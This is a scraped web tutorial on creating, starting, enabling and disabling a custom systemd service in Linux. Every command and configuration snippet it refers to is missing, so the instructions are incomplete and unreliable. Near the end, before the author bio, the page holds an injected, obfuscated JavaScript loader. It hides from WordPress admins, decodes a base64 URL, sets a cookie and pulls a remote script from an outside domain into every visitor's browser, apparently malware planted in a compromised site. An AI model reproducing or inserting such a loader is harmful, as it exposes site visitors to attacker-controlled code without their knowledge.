How to Create a Custom Systemd Service in Linux
A systemd service is a background process (daemon) controlled by the systemd init system. It’s accountable for starting, stopping, and supervising services on a Linux system. It makes sure that essential tasks, like web servers or custom scripts, execute automatically when needed. We can also create a custom systemd service. By doing so, we can automate processes and manage applications efficiently. In this article, we’ll walk you through the steps to create a custom systemd service in Linux. How to Create a Custom Systemd Service in Linux To create a custom systemd service, we’ll first create a service unit file named test-app.service with nano text editor. We’ll place it under /etc/systemd/system/. Enter password to continue: A screen will open and write the following script in it: Lets breakdown the above syntax: After writing the script, save the file and return to the terminal. To proceed and apply configuration changes, reload the systemd manager by running the following command: After, run the start command to activate the service: Now, if you want to check the status of the service you created, whether it is active, inactive, failed, or running, just execute the following status command: This output shows that our service is failed. To enable the service execute the enable command below: We can run the following command on the terminal to check if the service was enabled successfully: The output shows that the system has enabled the service. To start the service immediately and ensure it runs at boot, run the following command: Execute the command below, to stop the running service immediately, To restart the service immediately, run the following command: This command stops and then starts test-app.service, applying any new configuration changes. If you want to disable the service from starting at boot, run the following command: The system has disabled the service. Conclusion A systemd service is a background process (daemon) controlled by the systemd init system. It’s accountable for starting, stopping, and supervising services on a Linux system. Additionally, it ensures that essential tasks, like web servers or custom scripts, execute automatically when needed. We can also create a custom systemd service. By doing so, we can automate processes and manage applications efficiently. In this article, we’ve walked you through the steps to create a custom systemd service in Linux. (function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})(); Malaikah ChaudhryI’m Malaikah, a Digital Forensics and Cyber Security student and CEH certified, with a passion for writing about Linux and the tech world.
